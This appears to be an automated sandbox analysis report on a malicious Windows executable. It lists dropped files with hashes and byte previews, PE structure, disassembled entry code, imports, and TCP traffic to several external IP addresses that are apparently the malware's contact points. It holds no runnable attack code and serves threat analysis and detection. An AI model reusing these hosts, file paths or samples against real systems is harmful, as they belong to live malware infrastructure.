Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....1.c..................>.........t.>.......?...@..........................PE......................................`@.......@..9....D..f....................@..W....................................................@......P@......................text.....>.......>................. ..`.itext........>.......>............. ..`.data.........?.......>.............@....bss....Xg....?..........................idata...9....@..:...r?.............@....didata......P@.......?.............@....edata.......`@.......?.............@..@.rdata..D....p@.......?.............@..@.reloc...W....@..X....?.............@..B.rsrc....f....D..f....D.............@..@.............PE......zD.............@..@........................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\AppData\Local\Temp\DFC9.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbON:u
MD5:	89CA7E02D8B79ED50986F098D5686EC9
SHA1:	A602E0D4398F00C827BFCF711066E67718CA1377
SHA-256:	30AC626CBD4A97DB480A0379F6D2540195F594C967B7087A26566E352F24C794
SHA-512:	C5F453E32C0297E51BE43F84A7E63302E7D1E471FADF8BB789C22A4D6E03712D26E2B039D6FBDBD9EBD35C4E93EC27F03684A7BBB67C4FADCCE9F6279417B5DE
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\AppData\Local\Temp\DFC9.exe
File Type:	Matlab v4 mat-file (little endian) , sparse, rows 0, columns 22
Category:	dropped
Size (bytes):	1446
Entropy (8bit):	7.410037497647156
Encrypted:	false
SSDEEP:	24:EtfJzMehIU0runoJafQZCsYzBVtyNKfuIBrdro9PXwAC2Wj6X:Et9MehIU0rzGDtNfux9d9RX
MD5:	BDC6656CF165A1144AC79F44A9A2888E
SHA1:	0E707F43E1830846F3392FDABF9FD0544623B9D8
SHA-256:	A3259FEC558CA27B6A5F0CD3137B3111D64A62B47ACC67E0F0FB8385926FC8EA
SHA-512:	BF1C735C92531F5753D21223F59048A6D5214E84909A386780E4259B043D9A13B77F092CAD38408919795E00FDAA3E56815A20E86878881B88DA51A928C9A087
Malicious:	false
Preview:	........................................MyDefaultKeyContainer.RSA1....................8t.Qb...._.#. .N...e..Fm..3%O.u.....AMn...)..Cj..Q.s.....A.xF....:;a7g."..v5.k ..Gr....,5..D.f.P+...z..8.:.N.Q........................z..O.......n.y} wO...Or.......,...C.r.y.p.t.o.A.P.I. .P.r.i.v.a.t.e. .K.e.y....f...... ...y.>".....^.^...F..@&....qo-.Z............ ....X4..ze.....$>~u.x....w.k...82.......hTbR...cC.C.mn....i&(.(F.w.......$r.....z.W..>.\|.....U...`...r..#...6.e.U%..Bd.D.........q...q.......M<..y....q.W..........b........i...V..I..h...9Z..l.!/..e.`.7R...Q..&f1cR!;.F......I%..............w9..q_.....Y... .o..k......V....d..P..3<...7...y...2A..9JYZ...Z[P.R....w\P.5~.s\.._.Kz2N...S.PD..E.e(...~DH.ED.;...-..d.O0...._...f......DkD..zd...3........T.I.r.6....L2I.H..(?....B...*`...}z .Sg._.....`.+..=.:c...^.=%c.L..Q.......j..18.Bv4....r(.. .M..v..0.[..vx.....XAQ..c...'cqI3....1+H......L..R...........SJ..w...P....q."...r.[U......n'.Ki..E....i.

C:\Users\user\AppData\Roaming\rgtrtas

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	213504
Entropy (8bit):	7.04468115347267
Encrypted:	false
SSDEEP:	6144:syxTL/VODuHSE079kfjUQoJTMg7aGOi6:syT7VOES1pkfj4dNaGOB
MD5:	2EB5B10C68BEE816944A77E14547AEA5
SHA1:	9402B5BD4893A0702A55C1ABC6BBF770ECB30810
SHA-256:	ADC2DA3B4ABFED5A1459303456FE4B4743D91800D22CB108143FF2031E7B5206
SHA-512:	E1AB93775928279EBC70551795A5872BE232987EF968906AC89D3C71F741CF2987740A68E532C035D57C06896133B4ABE4F8AB0B0531822D53EC98E64D9DCF9F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 36%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].*...D...D...D.......D.....p.D.....1.D.>5?...D...E.f.D.......D.......D.......D.Rich..D.........................PE..L...Z..b................."....9......g.......@....@..........................0;..............................................&..d....p:.Pv....................:......................................@..@............................................text.... .......".................. ..`.data...H+9..@...f...&..............@....rsrc...Pv...p:..x..................@..@.reloc..Z<....:..>..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rgtrtas:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\pigalicapi.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\DFC9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	459264
Entropy (8bit):	6.811691785184634
Encrypted:	false
SSDEEP:	12288:UAmCYO5f9gYH6O5cr+rn6uMkvWhYvD+0sP:UAmCYOReYH6NCrn6uB40
MD5:	A0114856020C2A20C6C85A7DB2027B03
SHA1:	83DD0F53B4FD0D479F98A80E13CFB992E8237014
SHA-256:	0FC239EEF963BDC00F2DF0E9B581C68925B86E28DE511AD12EFB881CE2B1CF23
SHA-512:	05A1D92C7330839971604940B696A85D412FC99D6DDBC467051DCD1BA8CEA923F35C5AE7DE56D94124E01F76E9335E2D7FD488F5634E4231ECAEB62EC147B3FA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}.z...)...)...).B.(...).B.(...).B.(...)A.P)...)A.R)...)A.S)...)(.j)...)...)y..)...)...)bB.(...)Rich...)........................PE..L....u.c.................2..........i........P....@..........................P............@..................................`..(................................6..................................0...@............P...............................text...`........................... ..`.text...`........................... ....rdata.......P.......6..............@..@.data...Xf...p...R...R..............@....gfids..d...........................@..@.debug_oP...........................@..B.reloc...6.......8..................@..B........................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.04468115347267
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	213504
MD5:	2eb5b10c68bee816944a77e14547aea5
SHA1:	9402b5bd4893a0702a55c1abc6bbf770ecb30810
SHA256:	adc2da3b4abfed5a1459303456fe4b4743d91800d22cb108143ff2031e7b5206
SHA512:	e1ab93775928279ebc70551795a5872be232987ef968906ac89d3c71f741cf2987740a68e532c035d57c06896133b4abe4f8ab0b0531822d53ec98e64d9dcf9f
SSDEEP:	6144:syxTL/VODuHSE079kfjUQoJTMg7aGOi6:syT7VOES1pkfj4dNaGOB
TLSH:	AE24CE117AE1D0B2D97741B04630DAE42EFFB87077A1C09B23582A7F1E707E14AA6767
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].*...D...D...D.......D.....p.D.....1.D.>5?...D...E.f.D.......D.......D.......D.Rich..D.........................PE..L...Z..b...

File Icon


Icon Hash:	e5e2ece2e2f2e46c

Static PE Info

General

Entrypoint:	0x4067bf
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x62B10D5A [Tue Jun 21 00:14:18 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6ccedcfbe9eee8f9056044facdc7d477

Entrypoint Preview

Instruction
call 00007F7504C436EDh
jmp 00007F7504C3ECFEh
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F7504C3EEA6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F7504C3EED0h
test ecx, 00000003h
jne 00007F7504C3EE71h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F7504C3EE6Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F7504C3EEB4h
test ah, ah
je 00007F7504C3EEA6h
test eax, 00FF0000h
je 00007F7504C3EE95h
test eax, FF000000h
je 00007F7504C3EE84h
jmp 00007F7504C3EE4Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 00401300h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F7504C3EE8Eh
test byte ptr [eax], 00000008h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x126d4	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3a7000	0x7650	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3af000	0xbc8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11f0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x40e0	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1ac	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x120c4	0x12200	False	0.5622710129310344	data	6.745797118468597	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x14000	0x392b48	0x16600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3a7000	0x7650	0x7800	False	0.5326497395833333	data	4.8356826691253785	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3af000	0x3c5a	0x3e00	False	0.1658266129032258	data	1.8887215262643082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3a7300	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Farsi	Iran
RT_ICON	0x3a7300	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Farsi	Afganistan
RT_ICON	0x3a7300	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Farsi	Tajikistan
RT_ICON	0x3a7300	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Farsi	Uzbekistan
RT_ICON	0x3a81a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Farsi	Iran
RT_ICON	0x3a81a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Farsi	Afganistan
RT_ICON	0x3a81a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Farsi	Tajikistan
RT_ICON	0x3a81a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Farsi	Uzbekistan
RT_ICON	0x3a8a50	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Farsi	Iran
RT_ICON	0x3a8a50	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Farsi	Afganistan
RT_ICON	0x3a8a50	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Farsi	Tajikistan
RT_ICON	0x3a8a50	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Farsi	Uzbekistan
RT_ICON	0x3a9118	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Farsi	Iran
RT_ICON	0x3a9118	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Farsi	Afganistan
RT_ICON	0x3a9118	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Farsi	Tajikistan
RT_ICON	0x3a9118	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Farsi	Uzbekistan
RT_ICON	0x3a9680	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Farsi	Iran
RT_ICON	0x3a9680	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Farsi	Afganistan
RT_ICON	0x3a9680	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Farsi	Tajikistan
RT_ICON	0x3a9680	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Farsi	Uzbekistan
RT_ICON	0x3abc28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Farsi	Iran
RT_ICON	0x3abc28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Farsi	Afganistan
RT_ICON	0x3abc28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Farsi	Tajikistan
RT_ICON	0x3abc28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Farsi	Uzbekistan
RT_ICON	0x3accd0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Farsi	Iran
RT_ICON	0x3accd0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Farsi	Afganistan
RT_ICON	0x3accd0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Farsi	Tajikistan
RT_ICON	0x3accd0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Farsi	Uzbekistan
RT_ICON	0x3ad658	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Farsi	Iran
RT_ICON	0x3ad658	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Farsi	Afganistan
RT_ICON	0x3ad658	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Farsi	Tajikistan
RT_ICON	0x3ad658	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Farsi	Uzbekistan
RT_STRING	0x3addb8	0x2d2	data	Farsi	Iran
RT_STRING	0x3addb8	0x2d2	data	Farsi	Afganistan
RT_STRING	0x3addb8	0x2d2	data	Farsi	Tajikistan
RT_STRING	0x3addb8	0x2d2	data	Farsi	Uzbekistan
RT_STRING	0x3ae090	0x5be	data	Farsi	Iran
RT_STRING	0x3ae090	0x5be	data	Farsi	Afganistan
RT_STRING	0x3ae090	0x5be	data	Farsi	Tajikistan
RT_STRING	0x3ae090	0x5be	data	Farsi	Uzbekistan
RT_ACCELERATOR	0x3adb38	0x48	data	Farsi	Iran
RT_ACCELERATOR	0x3adb38	0x48	data	Farsi	Afganistan
RT_ACCELERATOR	0x3adb38	0x48	data	Farsi	Tajikistan
RT_ACCELERATOR	0x3adb38	0x48	data	Farsi	Uzbekistan
RT_GROUP_ICON	0x3adac0	0x76	data	Farsi	Iran
RT_GROUP_ICON	0x3adac0	0x76	data	Farsi	Afganistan
RT_GROUP_ICON	0x3adac0	0x76	data	Farsi	Tajikistan
RT_GROUP_ICON	0x3adac0	0x76	data	Farsi	Uzbekistan
RT_VERSION	0x3adb80	0x238	data

Imports

DLL	Import
KERNEL32.dll	MapUserPhysicalPages, DeleteVolumeMountPointA, InterlockedIncrement, OpenJobObjectA, SetMailslotInfo, InterlockedCompareExchange, GetFileAttributesExA, MoveFileWithProgressA, GetModuleHandleW, GetCurrentThread, GetConsoleAliasesA, GetNumberFormatA, GetConsoleTitleA, SetFileShortNameW, ReadConsoleInputA, GetGeoInfoA, CreateActCtxA, GetBinaryTypeW, GetACP, GetStartupInfoW, GetLastError, SetLastError, GetProcAddress, GetConsoleAliasExesLengthA, RemoveDirectoryA, DisableThreadLibraryCalls, OpenWaitableTimerA, LoadLibraryA, WriteConsoleA, UnhandledExceptionFilter, GetProcessWorkingSetSize, LocalAlloc, CreateTapePartition, IsSystemResumeAutomatic, FindFirstChangeNotificationA, HeapSetInformation, GetConsoleCursorInfo, GetVersionExA, GetCurrentProcessId, InitializeCriticalSectionAndSpinCount, HeapSize, GetModuleHandleA, GetNumaProcessorNode, GetNativeSystemInfo, VirtualAlloc, HeapReAlloc, MultiByteToWideChar, TerminateProcess, GetCurrentProcess, SetUnhandledExceptionFilter, IsDebuggerPresent, RaiseException, RtlUnwind, GetCPInfo, InterlockedDecrement, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapAlloc, HeapFree, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, DeleteCriticalSection, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, LCMapStringA, WideCharToMultiByte, LCMapStringW, GetStringTypeA, GetStringTypeW, LeaveCriticalSection, EnterCriticalSection, GetLocaleInfoA
USER32.dll	SetCaretPos, IsChild, RealGetWindowClassA, LoadMenuA, CharUpperA, GetCursorInfo, CharLowerBuffA, ClipCursor, GetKeyNameTextW
ADVAPI32.dll	LogonUserW, IsValidAcl, ReportEventA
ole32.dll	CoRevokeMallocSpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Farsi	Iran
Farsi	Afganistan
Farsi	Tajikistan
Farsi	Uzbekistan

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 16, 2023 11:49:06.023906946 CET	49697	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:06.208506107 CET	80	49697	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:06.208758116 CET	49697	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:06.216974020 CET	49697	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:06.217040062 CET	49697	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:06.402679920 CET	80	49697	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:07.080768108 CET	80	49697	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:07.080847979 CET	80	49697	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:07.080965996 CET	49697	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:07.081039906 CET	49697	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:07.266711950 CET	80	49697	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:07.340790033 CET	49698	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:07.586180925 CET	80	49698	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:07.586365938 CET	49698	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:07.586816072 CET	49698	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:07.586894989 CET	49698	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:07.831464052 CET	80	49698	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:08.940285921 CET	80	49698	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:08.940371990 CET	80	49698	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:08.940440893 CET	49698	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:08.941267967 CET	49698	80	192.168.2.3	210.182.29.70
Feb 16, 2023 11:49:09.185923100 CET	80	49698	210.182.29.70	192.168.2.3
Feb 16, 2023 11:49:09.268959999 CET	49699	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:09.459290028 CET	80	49699	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:09.459575891 CET	49699	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:09.461009979 CET	49699	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:09.461086035 CET	49699	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:09.653676033 CET	80	49699	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:10.329709053 CET	80	49699	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:10.336270094 CET	80	49699	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:10.336471081 CET	49699	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:10.383811951 CET	49699	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:10.424062014 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.578346968 CET	80	49699	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:10.585978985 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.586210966 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.586658955 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.747642040 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748226881 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748270035 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748306036 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748334885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748358965 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748380899 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748394012 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.748406887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748434067 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748459101 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748483896 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.748501062 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.748538971 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.910378933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910458088 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910499096 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910542011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910579920 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910619020 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910654068 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910670042 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.910717964 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910756111 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.910768032 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910800934 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.910805941 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910845041 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910871029 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.910881996 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910921097 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910934925 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.910958052 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.910991907 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.911009073 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.911026955 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.911065102 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.911076069 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.911101103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.911139011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.911154032 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:10.911178112 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:10.911227942 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.073585987 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073636055 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073678017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073704004 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073729038 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073756933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073755980 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.073782921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073802948 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.073812962 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073838949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073862076 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073887110 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073888063 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.073915005 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073923111 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.073942900 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073971987 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.073987961 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.073999882 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074028015 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074028969 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074059963 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074073076 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074085951 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074115038 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074129105 CET	49700	80	192.168.2.3	23.106.124.133
